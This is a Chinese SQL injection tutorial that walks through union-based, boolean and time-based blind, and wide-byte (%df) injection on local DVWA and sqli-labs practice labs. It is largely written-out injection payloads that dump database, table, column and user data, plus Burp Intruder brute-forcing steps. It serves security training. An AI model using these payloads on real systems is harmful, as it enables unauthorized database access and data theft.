SRC漏洞挖掘——2.SQL注入漏洞实战详解

目录

一、 SQL注入漏洞

原理

SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器. 导致攻击者可执行恶意SQL命令对WEB服务器进行攻击的方法

类型

根据位置分为

post 注入 , get 注入, head 头注入

利用

① 联合查询注入 ② 报错注入 ③ 盲注(布尔/时间) ④ 堆叠注入 ⑤ 宽字节注入

修复

① 使用参数化查询/预编译语句 ② 输入验证与过滤 ③ 最小权限原则 ④ 使用ORM框架 ⑤ 禁用危险函数

使用

结合 hackbar插件配合使用

使用burp sutie测试工具


1.联合查询注入

  • phpstudy功能设置

phpstudy 开启日志记录功能

增加两行数据, 记录日历(自定义路径)

bash 复制代码
general_log = 1
general_log_file = "D:/web/tools/php2018/PHPTutorial/MySQL/data/mysql.log"

重启phpstudy,即可看到文件

每次在靶场执行语句, 或者 用navicat 数据库管理工具打开数据库等操作,都可在该文件中查看执行的sql代码

  • DVWA靶场设置

难度等级降为low

然后再sql注入中输入1 进行查询

查询后, 检查页面, 使用hackebar插件, 加载之前的执行语句

步骤如下所示:


插件功能--split

作用裁剪url, 使其更美观,方便

插件功能--execute

点击execute 执行你拼接的sql代码

日志文件中显示sql代码

  1. 判断是否存在漏洞

原理

用' 或 " ,判断引用方式是单引号 还是双引号

( 在 sql 语句中 对 id 本身进行了引用, 如 user_id=' $id' ==== user_id='1'' (引用的内容为 1' , 查询不到就会出错)

报错,说明存在漏洞。

执行命令

bash 复制代码
?id=1'  或
?id=1" 
?id=b'
# 报错看引号数量, 并进行注释使之成功注入
?id='b'#ajfa (#后面都注释掉了)

输入?id=b'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1
您的SQL语法有错误;查看与MySQL服务器版本对应的手册,了解第1行"2"附近使用的正确语法

  • 结果

有注入

  1. 判断注入类型及闭合方式
  • 判断是数字型or 字符型

执行命令

bash 复制代码
 ?id=1asd
	
# 看是否报错:
# 有报错:数字性;
# 无报错:字符型;

字符型的参数是需要引号引起来的

  • DVWA靶场

执行命令

bash 复制代码
?id=1asd
# 还是能查询处数据, 确定为字符型注入

日志sql语句为

MySQL中查询得到

判断方式

and 逻辑与 判断 当条件表达式两边都为真才是真,有一边为假则是假

?id=1 and 1 =1 ,结果为真

?id=1 and 1 =2 ,结果为假

输入 1 and 1=1 与 1 and 1=2 后

查询结果都返回相同的内容 , 是字符型注入

查询结果都返回不同的内容, 则为数字型

字符型,返回结果相同( 加''引用,单引号中都为字符,判断不了真假)

查询结果都相同,如下所示

  • 结果

字符型注入

  • 确定闭合方式

确定它是单引号( ' ) / 双引号( '' ) / 其他闭合方式

在id=1asd基础上加上单引号

执行

bash 复制代码
 id=1asd' 

报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1asd''' at line 1

解析闭合方式

''1asd'''

1asd' ( 我们自己输入的内容)

此外, 还有4个单引号

最外层的单引号是一对引用

内层就剩下一对单引号了, 则可以确定为是单引号闭合

注释掉多余单引号

输入: id=1' --+

更多注释(--+) 及其相关MySQL隐式类型转换请阅读文章网络安全基本功---Mysql基础

原本的SQL语句

bash 复制代码
SELECT first_name, last_name FROM users WHERE user_id = '1'

实际的SQL语句变为:

bash 复制代码
SELECT first_name, last_name FROM users WHERE user_id = '1'  --  '
后面的:   --'  这几个字符,包括原本的单引号(')内容就被注释掉了 
  • 其他闭合方式

闭合方式1

bash 复制代码
?id='b' #  '
实际上我们自己构造出来的内容是 b'

闭合方式2

bash 复制代码
?id='b'  and  '1=1  '  
实际上构造出来的内容是 b'  and  '1=1 

?id='1'  and 1=2 #'
实际上我们自己构造出来的内容是 1'  and 1=2 #

我们利用单引号 或某种闭合方式进行闭合后

则需要在后面加上注释如 #

需要将系统自动添加的单引号 给注释掉, 这样SQL语句才不会报错

区别

bash 复制代码
不添加# , 2后面多出一个单引号', SQL语句执行不过去,如下所示
?id='1'  and 1=2 ' 

添加#后,  2后面的单引号或者其他内容都给进行注释掉了, SQL语句正常执行,如下所示
?id='1'  and 1=2   #'  
等价于
?id='1'  and 1=2 

PS:

字符型需要引号

数字型不需要

  1. 判断表中列数

原理

ORDER BY 排序 当order by的数字大于当前的列数时候就会报错

对当前列数排序

如order by 2 ( 根据第二列进行排序)

如下图所示

order by 1 时, 按照第一列user_id 进行排序,1,2,3...

order by 2 时, 按照第二列first_name 进行排序, 根据首字母顺序a,b,c...

order by 9 时, 会报错,因为该表只有8列

执行命令

bash 复制代码
id=1' order by 2 %23
或
id=1ab' order by 2 --+
# 为3时报错,则表有2列
  • 结果

表有2列

注意

bash 复制代码
# hackbar 中执行的命令为
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/
?id=1' order by 2 --+&Submit=Submit#

# 实际URL为:  
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/
?id=1%27%20order%20by%202%20--+&Submit=Submit#

# 这是将空格/单引号等进行了编码
  1. 确定显示位
  • union函数

UNION 操作符用于连接, 合并两个或多个 SELECT 语句的结果集

UNION 结果集中的列名 总是等于 UNION中第一个 SELECT 语句中的列名

  • 原理解析

将guestbook 表中的数据(三列) 合并连接 同样是三列的数据(1,2,3 ),如下:

bash 复制代码
select * from guestbook union select 1,2,3;

第一个select语句是guestbook表,则显示的列名为guestbook表的列名

第一行的 1,2,3 是列名, 这是一个虚拟表

第二行的1,2,3 是数据, 因为是虚拟表没有数据, 因而数据与列名相同

bash 复制代码
 select 1,2,3; 
bash 复制代码
select 1,2,3 union select * from guestbook ;

第一个select语句是虚拟表,则显示的列名为虚拟表的列名

原理解析

bash 复制代码
# 执行
id=-1'  union  select 1,2 %23
或
id=1' union select 1,2 --+

如上图所示, 1,2 两个位置都显示出来了, 说明,1,2 都是回显位(显示位)

但是我们一般查询出来的数据是原本的数据,即union 左边的数据,如下所示:

bash 复制代码
select * from guestbook where comment_id= 1 union select 1,2,3;

而非右边1,2...回显位的数据, 要想让显示右边回显位的数据,则需要让union左边查询的数据为空.

让union左边查询不到,可以将其改为负数或者改为比较大的数字

comment_id= -1

当comment_id= -1 或不存在的数 或 极大极小值时, 数据库中没有就会显示不出来

因而,前面数据没有,才把后面数据(这里是回显位 1,2 ) 顶上来

如下所示:

bash 复制代码
select * from guestbook where comment_id= -1 union select 1,2,3;

注意事项

union使用用法:与前面的表的 列数/数据类型相同

执行命令

bash 复制代码
?id=-1' union select 1,2 --+
  • 结果

得到显示位: 1,2

  1. 获取数据库相关数据

获取数据库名称和数据库版本号

将回显位1,2 的位置上修改为

database(), version()

执行命令

bash 复制代码
 id=-1'  union  select database(),version()  %23
  • 结果

得到数据库名称 dvwa 和数据库版本号

  1. 获取数据库表名

本节数据库 information_schema表等相关内容请阅读文章网络安全基本功---Mysql基础

依据上一步得到的数据库名称dvwa, 继续操作

原理解析

bash 复制代码
# 查询表名
id =-1' union select (select table_name from information_schema.tables 
where table_schema='dvwa' ) ,version()%23

提示:

Subquery returns more than 1 row

子查询返回多行

使用函数

group_concat()

包裹表名table_name 为: group_concat(table_name)

执行命令

bash 复制代码
id =-1' union select (select group_concat(table_name)  
from information_schema.tables where table_schema='dvwa' ) ,version()%23

直接在回显位输出

bash 复制代码
id=-1' union select table_name ,2 
from information_schema.tables 
where table_schema='dvwa' %23

实际的SQL语句为

bash 复制代码
SELECT first_name, last_name FROM users WHERE user_id = '-1' 
union select table_name ,2 from information_schema.tables 
where table_schema='dvwa';

如下所示:

  • 结果

得到表名: guestbook,users

  1. 获取列名&记录
  • 获取列名

同上操作. 将 tables 改为 columns , 同时添加具体表名查询

执行命令

bash 复制代码
?id=-1' union select column_name ,2 
from information_schema.columns 
where table_schema='dvwa' and  table_name='users' %23
&Submit=Submit

获取到字段列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login

变体写法

bash 复制代码
# 使用group_concat合并字段内容, 同样可得到列名
?id=-1'  union  select 1, group_concat(column_name )  
from  information_schema.columns  
where table_schema='dvwa' and  table_name='users' %23
  • 结果

得到列名: user 等

  • 获取记录

以上操作得到了表名(users), 列名( user, password ...), 根据这些条件获取字段数据, 循序渐进

执行命令

bash 复制代码
?id=-1'  union  select 1, group_concat(user) from users %23
  • 结果

获取到字段: admin,gordonb,1337,pablo,smithy

Get 与 Post 注入
数字型 get注入 与 post注入

  • get型

get型可以在URL中看到sql查询语句

  • post型

post型的注入并不在URL里面作显示, URL中不能看出有明显的SQL查询语句

它的post数据在请求正文中

想要看到具体数据, 使用burpsuite工具抓包查看

关于http 中get/post详情, 请看文章网络安全协议https与http

  • 区别

get 与 post 注入点不同, 其他注入的方式都一样


2.盲注

特征:

不能返回错误信息

只能利用页面正常与不正常显示来进行注入,类似聋哑人,只会摇头/点头告诉你正确答案

布尔盲注

特征

是个哑巴, 他会点头或摇头

正确:一种页面

错误:另一种页面

  • sqli-labs 靶场 less-8

以sqllabs 第8关为例

原理解析

布尔盲注: 一句话, 进行判断

输入

?id=1

或者id=2, id=5 等

都显示了 you are in (说明可能能查询到该数据)

这是一种页面

输入

?id=100

则什么都不显示 (说明该id或许在数据库中没有,查询不到)

这是一种页面

1 判断是否存在注入

执行命令

id =1 and 1=1

id =1 and 1=2 (页面不同,数字型盲注 )

id= 1' and 1=1 %23

id= 1' and 1=2 %23 (页面不同,字符型盲注 )

执行命令

bash 复制代码
# hackbar中分别执行
?id=1'  and 1=1 %23
?id=1'  and 1=2 %23

返回的页面内容不同, 判断为字符型盲注

  • 结果

字符型盲注

2 获取数据库长度

区别

这里区别一下联合查询注入

因为盲注没有回显 ,得到列数没用

所以这里直接开始获取数据库长度

  • length() 函数

获取字符串长度

函数解析

bash 复制代码
select  length('11111')  
返回结果为5 
说明该字符串长度为5 
bash 复制代码
select  length('11111')  =5; 
返回结果为1
select  length('11111')  = 1; 
返回结果为0
两者长度匹配返回布尔值1, 否则为0 

利用以上原理, 来获取数据库的长度

?id=1' and length( database())>5 %23

返回 you are in ...界面. 说明长度是大于5的

?id=1' and length( database())>10 %23

返回空白页面, 说明数据库长度小于10

在5-10之间尝试, 最终得到数据库长度为8

执行命令

bash 复制代码
?id=1' and   length( database())=8  %23
  • 结果

数据库长度 : 8

3 获取数据库名
:
substr()
:
ascii ()

  • substr()

substr(string, start, length) 截取字符串,string是要截取的字符串,start是从哪个位置开始,length 是截取的长度

输入

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(), 1, 1 ) =
's' %23

# 其中database(), 1,1 这里不断尝试
substr(database(), 2, 1 )='?' 
substr(database(), 3, 1 )='?' 
substr(database(), 4, 1 )='?' 
substr(database(), 5, 1 )='?' 
......
substr(database(), 8, 1 )='?' 
# 这里完全可以进行自动化操作, 进行burpsuite爆破

burpsuite进行集束炸弹模式爆破时, 根据数据库名的命名规则构建对应的字典

数据库命名, 请阅读文章: 网络安全_数据库基础

爆破时也可将substr()函数截取到的数据库名转换为ASCII码, 对ASCII码进行猜解

ascii( )

将字符转换成ascii码

对应的链接请看: ASCII码对照表

根据数据库命名规则, 可以从48开始到126结束

但是为了避免有些人不按照数据库命名规则命名, 因而可以将这个范围调大一点

可以从33 到 126 结束

操作

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and  
ascii(substr(database(),1,1))=115  %23

截取到英文字符s,转换为ASCII码是否等于 115 ?

页面显示了you are in... 说明数据库第一个字符是s

其他字符进行爆破

打开burpsuite , 抓包,重放到intruder模块

选择cluster bomb 模式, 并对对应的字符进行标记,如下所示:

:
1. 第一个位置需要从1取到8, 选择简单列表simple list ,进行添加数字1-8. 1-8是我们之前得到的数据库名的长度, 这里就是利用substr函数,从数据库名的第一个位置取字符, 第二个位置取字符... 第八个位置取字符

:
2. 第二个位置做数字字典, 选择numbers , 从33到126 , 步长为1

标记1

标记2

爆破得

对爆破结果进行length排序 如下得到数据库名的ASCII值, 进行对照ASCII码表得到数据库名

payload1 payload2 (ascii值) ASCII对应值
3 99 c
2 101 e
6 105 i
5 114 r
1 115 s
7 116 t
4 117 u
8 121 y
  • 结果

获得表名: security

4 获取表名

4.1 获取表的数量

  • count() 函数

统计表中包含的记录行的总数,或 根据查询结果返回列中包含的数据行

原理解析

MySQL中查询, security数据库中的表, 命令如下:

bash 复制代码
select table_name from information_schema.tables 
where table_schema='security';

得到4个表

用count函数包裹 table_name , 命令如下:

bash 复制代码
select count(table_name)  from information_schema.tables 
where table_schema="security";

得到了count的数量 4 , 即4个表

与之前查询出来的数量一致

靶场中, 将整个查询的结果进行判断

bash 复制代码
# 执行代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and
 (select count(table_name)
 from information_schema.tables 
 where table_schema="security")=4 %23

# 从数据库中查询表的数量 
(select count(table_name) from information_schema.tables 
where table_schema="security")  


PS:
# 整体加上括号,  再进行判断是否等于某个数字 , 来得到表的数量

折半法判断

由于我们不知道表的数量是多少

所以就先查询某个数字的中间值是否 大于 或 小于 该数字, 来缩减范围

  • 结果

得到表的数量为--- 4


:
count(*)

将count(table_name) 替换为 count(1) 也可查询

统计所有行

count(1)

count(*)

4.2 获取表名长度

执行命令

bash 复制代码
?id=1' and length(  (select table_name from information_schema.tables 
where table_schema=database() limit 0,1  ))=6 %23 

折半查询, 判断表的长度

  • 结果

表的长度为 : 6

length() 使用注意事项

length( ) 函数中不能再包含一个子查询,如select ,不然的话会报错, 所以,需要将当前select 查询出的整个结果用括号括起来

如下:

bash 复制代码
length(  
(select table_name from information_schema.tables 
where table_schema=database() limit 0,1  )
)

第二个表的长度,判断

修改limit 0 的数即可

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 
length(  
(select table_name from information_schema.tables where table_schema=database() limit 1,1  )
)=8 %23 

第三 、四个表的长度判断, 以此类推

4.3 获取表的名称

执行命令

bash 复制代码
?id=1' and ascii(substr((select table_name from information_schema.tables 
where table_schema=database() ),1,1))=101 %23
  • sqli-labs靶场

接上继续

原理解析

bash 复制代码
# hackbar 中执行

?id=1' and  ascii(
substr( 
(select table_name from information_schema.tables 
where table_schema=database() ),1,1) )=101 %23

实际执行的SQL语句为:

bash 复制代码
select 1 and ascii(substr( (select table_name from information_schema.tables 
where table_schema=database() ),1,1))=101;

但是在navicate中 提示错误:

Subquery returns more than 1 row

子查询返回多行


图片显示查询的是security数据库, 基本同database()

说明: 多行输出, 有错误

解决: 使用limit 限制输出,1行1行进行输出

limit解析

bash 复制代码
# 原始语句 执行
select table_name from information_schema.tables where table_schema=database(); 

得到多行数据

添加limit

bash 复制代码
# 执行
select table_name from information_schema.tables 
where table_schema=database() limit 0,1 ;

仅返回一行数据

limit 0,1 解析

使用 limit 0,1 进行限制输出, 从第0行开始,输出1行

0 :代表从第0行开始

1 : 代表输出几行,这里是1, 说明输出1行
limit 0: 从第1行表头下面开始, 不正常

limit 1: 输出几行,正常逻辑

  • 构造语句
    易错点: 括号
bash 复制代码
# 获取第一行的表名 + limit 
select table_name from information_schema.tables 
where table_schema='security' limit 0,1 ; 

# 上一条语句整体加括号(重要) 
( select table_name from information_schema.tables 
where table_schema='security' limit 0,1  )

# 上一条语句整体放入substr() 函数的第一位
substr 
(  
( select table_name from information_schema.tables 
where table_schema='security'  limit 0,1 ) ,
1,
1
)

# 进行判断
substr 
(  
( select table_name from information_schema.tables 
where table_schema='security'  limit 0,1 ) ,
1,
1
)='e' 

# 上一条语句整体放入ascii() 函数中
ascii
(
substr (  ( select table_name from information_schema.tables 
where table_schema='security'  limit 0,1 ) ,1,1)
)
 

最终构造的SQL语句为

bash 复制代码
# 1 获取第一个表(limit 0  ), 第一个(substr中1)字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 
ascii(substr((select table_name from information_schema.tables 
where table_schema=database()  limit 0,1 ),1,1))=101 %23

# 2 获取第一个表(limit 0  ), 第二个(substr中2)字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 
ascii(substr((select table_name from information_schema.tables 
where table_schema=database()   limit 0,1 ),2,1))=101 %23

# 3 获取第一个表(limit 0  ), 第三个(substr中3)字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 
ascii(substr((select table_name from information_schema.tables 
where table_schema=database()   limit 0,1 ),3,1))=101 %23
.....
.....

#  4 获取第二个表(limit 1  ), 第1个(substr中1)字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 
ascii(substr((select table_name from information_schema.tables 
where table_schema=database()   limit 1,1 ),1,1))=101 %23

页面有回应

爆破

打开bp,抓包, # 选择集束炸弹cluster bomb 模式 并添加标记

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 
ascii(substr((select table_name from information_schema.tables 
where table_schema=database()  limit 0,1 ),1,1))=101 %23

标记内容解析

bash 复制代码
标记1: 
	substr函数的第二个位置 1 进行标记,  表名长度经验得 15个以内
	但是根据4.2 获取的表名的长度可知为6 ,所以设置为1-6即可 ); 
	
	对应的payload set 为2, payload  type为简单列表simple list ; 
	之后添加 add 数字, 1-8 或 1-15 	
bash 复制代码
标记2: 
   ascii码的结果猜测, 对这里的 101 进行标记( 数据库名, 33-126 ); 
   对应的payload set 为3, payload  type为 numbers  ,from 33 to 126, step步长为1 

进行start attack爆破

对length排序 , 发现946长度的数据正确, 页面有响应

得到第1个表的表名ascii值,然后转换为字母

Payload 1 Payload 2 ASCII Char
3 97 a
1 101 e
4 105 i
5 108 l
2 109 m
6 115 s
  • 结果: 得到第一个表的表名

emails

以上操作是

  1. 将 substr( database() , 1, 1 ) 中, 中间这个数字1进行标记, 即从哪一位截取字符;作为标记1
  2. 将ascii() 函数获取的结果进行猜测, 进行标记,作为标记2

是用两个标记位进行爆破

但是limit 0,1 中的0 位置没有变化, 所以需要手动修改这个数字, 每次爆破出来一个表名, 就需要从limit 0 进行变化, 获取下一行的表名

将其变为

limit 1,1

limit 2,1

limit 3,1

limit 4 ,1

修改limit 0,1 数据,继续爆破

bash 复制代码
# 修改limit 0 --> limit 1 
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 
ascii(substr((select table_name from information_schema.tables 
where table_schema=database()  limit    1 ,     1 ),1,1))=101 %23
Payload 1 Payload 2 ASCII Char
2 101 e
4 101 e
6 101 e
3 102 f
5 114 r
7 114 r
1 114 r
8 115 s

按1-8的顺序展开,表名为: referers

  • 结果: 得到第二个表的表名

referers

其他表名的操作同理,过程不在赘述, 得到的其他表名为:

第三个表名: uagents

第四个表名: users

PS: 三个可变参数同时标记

若想对

  1. limit 0,1 中0
  2. substr(,1, )中1
  3. ascii()猜测的值101

三个同时标记, 将limit 0,1 中的0进行标记,作为标记1 , 其他的substr 与ascii 中作为标记2与标记3 即可.

对于limit 0,1 的标记过程, 如下解析: .

bash 复制代码
标记:  
  在查询语句之后, 对limit 0中的0进行标记, %20为空格,需注意; 
  此外,这里是确定表的数量,从上面的操作中得知表的数量为4, 所以添加0-4 即可.
  
  对应的payload set 为1, payload  type为为简单列表simple list ; 
  然后添加0-4的数字  add  0.1...4  ;

ps: 三个同时标记比较难找到对应的数据, 因而这里标记了两个位置; 若同时标记进行爆破, 可以找length 长度为 946的数据( 标记2个数据时得到的)

  1. 获取列名
    5.1 获取表中的列数

已知信息

获取到了表名

  • emails
  • referers
  • uagents
  • users

利用已知的表名,查询列名,并根据count函数获取表的列数

执行代码如下:

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and  
(
select count(column_name) from information_schema.columns 
where table_name='emails'  and table_schema='security') =2 %23

注意:

可能系统中有多个emails 表, 所以进行指定数据库查询, 根据上述操作, 也得到了less-8关的数据库名: security, 加个条件进行查询.

  • 结果

进行折半查询判断,成功得到了emails 表的列数为 ------ 2

其他表列数的获取, 同上操作.

5.2 获取列名长度

由于不知道列名长度,所以才需要得到, 避免substr截取无用的长度

执行代码

bash 复制代码
# 获取第一列的列名的长度 
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 
 length((select  column_name from information_schema.columns where table_name='emails'  
and table_schema='security' limit 0,1 ) )=2 %23

结果

列名长度为 2

获取第2列的长度,则改变limit后的0为1。

5.3 获取列名

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii( substr( (select
 column_name from information_schema.columns where  table_name='emails' 
 and  table_schema='security' limit 0,1 ) , 1,1 ) )=105 %23

由于根据以上结果,知道了第一个表列名的数量, 所以

  1. 对substr中1标记,添加1,2 即可
  2. 对 asciii猜解结果105进行标记
  3. 爆破, 同之前操作.
  • 结果

得到列名: id

另外一个列名同上操作

  1. 获取记录(行)信息
    6.1 获取记录数

已知

得到列名: id

现需要从email表中获取行的数量

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' 
and ( select count(id) from emails ) =8 %23
  • 结果

折半法判断, 得到 行数为 ------8

6.2 获取记录长度

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' 
and ( select  length(id)from emails  limit 0,1 ) =1 %23
  • 结果

折半法判断, 得到id列的行数为 ------ 1

6.3 获取记录内容

已知

表名 emails

列名 id

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and  
ascii(substr( ((select id from emails limit 0,1 ) ), 1,1 ) )=49 %23

注意

substr( (()) , 1, 1 ) 的括号

substr( ((select id from emails limit 0,1 ) ) , 1,1 )

这里有两个括号

将查询内容整体加个括号,然后将该值放入substr函数第一个参数中, 且该参数加括号.

  • 结果

同上操作标记ascii的值,爆破,得到内容为 ------ 1

需要得到其他记录,修改limit 参数即可.

  • 理论

加减乘除, 进行布尔盲注

时间盲注

原理

不管用户输入什么数据, 页面都没有正常或错误的回显,这种情况我们可以利用页面响应的时间来判断SQL语句有没有在目标数据中得到执行。

时间盲注, 是个聋哑人, 听不见也看不见

利用sleep(n) 函数

将程序挂起 n 秒

一般来说,最少n需设置为3s, 不然设置1s没有意义(有的网站正常打开也得1-2s)

例子

浏览器打开csdn网站

按F12---点击网络----重新加载页面----关闭右侧的请求详情面板, 在这里可查看到时间栏(服务器响应时间)

在navicate 数据库管理软件中,执行带有sleep函数的代码进行比对

执行原本命令

bash 复制代码
select   *  from  users  where  id=1; 

可见右下角查询时间为0.001s

执行带有sleep函数的代码

bash 复制代码
select   *  from  users  where  id=1 and sleep(5) ;

可见查询时间为5s ,且无记录

以下展开来说, 详解时间盲注.

  • sqli-labs靶场 less-9

以sqllabs 第9关为例

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1
http://127.0.0.1/sqli-labs-master/Less-9/?id=100000

无论是执行正常的,还是极大值, 页面始终保持不变 ,完全的聋哑人

  1. 判断是否存在漏洞

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1  and sleep(5) %23
或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) %23

进行判断,是否有延迟, 若有延迟说明系统执行了sleep函数,有漏洞

判断是否延迟

1 . 浏览器刷新按钮响应, 会延迟5s后才正常刷新

有可能sqllabs靶场可能会有延迟, 修改配置文件即可

bash 复制代码
路径:
D:\web\tools\php2018\PHPTutorial\WWW\sqli-labs-master\sql-connections
网站根目录下sql靶场路径下的db-creds.inc 文件 (非固定路径,根据个人设置的自行调节)
bash 复制代码
#原本的文件内容为
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='123456';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>

# 修改为: 
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='123456';
$dbname ="security";
$host = '127.0.0.1';  #正常为 localhost
$dbname1 = "challenges";
?>

#localhost 是域名,需要时间来解析到ip , 因而有几秒钟的延迟
  1. burp suite抓包重发后,在右下角会出现5000ms, 也就是5s 的延迟
  1. 获取数据库名长度

使用if函数

if(语句1, 语句2, 语句3)

第1个语句正确, 执行第2个语句2 , 错误则执行语句3

根据该特性,获取判断数据库的长度

bash 复制代码
#在navicat 中执行语句, 执行了if第2个参数,  延迟5s钟
select  *  from users  where id=1 and if(1=1 , sleep(5), 1);
bash 复制代码
#在navicat 中执行语句 , 执行了if第三个参数, 正常返回结果,无延迟
select  *  from users  where id=1 and if(1=2 , sleep(5), 1);

判断数据库长度

bash 复制代码
length(database())=8 

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and 
if(length(database())=8,sleep(5),1) %23
# 进行折半猜解 判断
  • 结果

得到数据库长度为--- 8

网络中也显示延迟了5s

  1. 获取数据库名

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and  
if( ascii(substr( database(), 1 , 1))=115  ,   sleep(5)   , 1 ) %23

在burp suite 爆破数据库名

bash 复制代码
#标记1 
substr 1 标记
payload sets :  1 ,simple list 或 1 , numbers 1-8-1(from: 1 ;to:8 ; step: 1  )

#标记2 
ASCIIi码值 115标记
payload sets  : 2 , numbers 33-126-1

如图所示:

定位结果

勾选columns 中以下两列

菜单栏---- columns-----response completed 与 response received

这两列任意进行排序, 发现其response中数字远大于其他的则是正确结果

  • 结果

得到数据库名: security

4 获取表名
4.1 获取表的数量

以下基本与布尔盲注一样, 区别与布尔盲注的是多了个if函数

获取的是数据库中所有表的数量

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and 
if( ( select count(table_name) from information_schema.tables  
where table_schema='security')=5 ,sleep(5),1)%23
  • 结果

得到表的数量--- 4

4.2 获取表名长度

执行代码

bash 复制代码
 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and  
 if( length( (select  table_name from information_schema.tables 
 where table_schema=database()  limit 0,1) )=6, sleep(5), 1 ) %23
  • 结果

得到第一个表名的长度 : 6

获取其他表名的长度, 修改limit 值即可

4.3 获取表名

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and   
if( ascii( substr( (select  table_name from information_schema.tables 
where table_schema=database()  limit 0,1 ) ,1,1) )=101 ,sleep(5),1)%23

burp suite 进行标记爆破,同布尔盲注,这里不在过多赘述

  • 结果

成功获取到第一个表的表名: emails

获取其他表的表名, 修改limit 值即可

  1. 获取字段
    5.1 获取字段数

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and  
 if(  ( select  count(column_name) from information_schema.columns  
  where table_name='emails' and table_schema='security' )=2 ,sleep(5),1) %23
  • 结果

得到表中的字段(列)数为: 2

5.2 获取字段的长度

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and  if( length(( 
select  column_name  from information_schema.columns where 
table_name='emails' and table_schema='security' limit 0,1 ))=2 ,sleep(5),1  )%23
  • 结果

得到表中的第一个字段的长度为: 2

获取其字段的长度, 修改limit 值即可

5.3 获取字段名

执行代码

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and  if( length(( 
select  column_name  from information_schema.columns where 
table_name='emails' and table_schema='security' limit 0,1 ))=2 ,sleep(5),1  )%23

在burp suite 标记, 爆破字段名

  • 结果

得到表中的第一个字段名: id

获取其它字段名, 修改limit 值即可

  1. 获取记录内容
    6.1 获取记录数量

已知

表名: emails

列名: id

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and   
if(  ( select count(id) from emails )=8 ,sleep(5),1) %23
  • 结果

得到表中id列的记录数为: 8

获取其它字段记录数, 得到字段名查询即可

6.2 获取记录长度

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and 
if(  length(( select  id from emails limit 0,1  ))=1 ,sleep(5),1) %23
  • 结果

得到表中id列的第一行的记录长度为: 1

获取id列的其它行的记录长度, 修改limit 值即可.

6.2 获取记录内容

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and  
if( ascii(substr((select id from emails limit 0,1) ,1,1))=49,sleep(5),1) %23

# 或直接用substr 
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and  
if( substr((select id from emails limit 0,1) ,1,1)='1',sleep(5),1) %23

同样,进行标记和爆破
  • 结果

得到表中id列的第一行的记录内容为: 1

获取id列的其它行的记录长度, 修改limit 值即可.


3 宽字节注入

  • 窄字节与宽字节

如果一个字符的大小是一个字节的,称为窄字节;

如果一个字符的大小是两个字节的,称为宽字节。

1个字符大小=1字节=窄字节(如英文)

1个字符大小=2字节=宽字节(如中文)

英文默认占一个字节,中文占两个字节

  • 宽字节安全问题

两个ASCII字符误认为是一个宽字节字符

ASCII字符: 一个字节

  • 注入原理

一个GBK汉字占两个字节,每个字节有自己的取值范围,如果设置GBK编码后,遇到连续两个字节,都符合GBK取值范围,会自动组合为一个汉字。

  • sqllabs less-32

以sqlabs 靶场第32关为例

1.是否存在注入

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-32/?id=1'

成功显示

  • 结果

存在注入

2.判断注入类型

执行命令

bash 复制代码
http://127.0.0.1/sqli-labs-master/Less-32/?id=1asd
  • 结果

字符型注入

  • 数据库防御机制

当输入: 1a' 时 , 数据库会将单引号( ' ) 转义为 普通单引号( \ ' ) ,不具备闭合的作用了,也就无法注入

解析

  1. 数据库将数据传输编码的函数进行编码
  2. 编码后数据不变
  3. 再次将数据进行gbk编码
  4. 最终将数据带入数据库执行

PS:

单引号 ' ---gbk编码后----%5C%27

  • 绕过

执行命令

bash 复制代码
# 添加%df
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df'

# 注意
id=1%df' ,没有空格
id=1%df ',有空格 
# 在这, 这两个是不同的语句, 空格也会进行编码
bash 复制代码
1. 与之前先比较,添加了 %df
2. 原本的单引号' , 数据库则进行编码为: %5c%27
3. 两者组合为: %df%5c  实际组成的gbk编码为:  運 
4. 最后的%27 , 则还是单引号

点击查询: GBK编码表

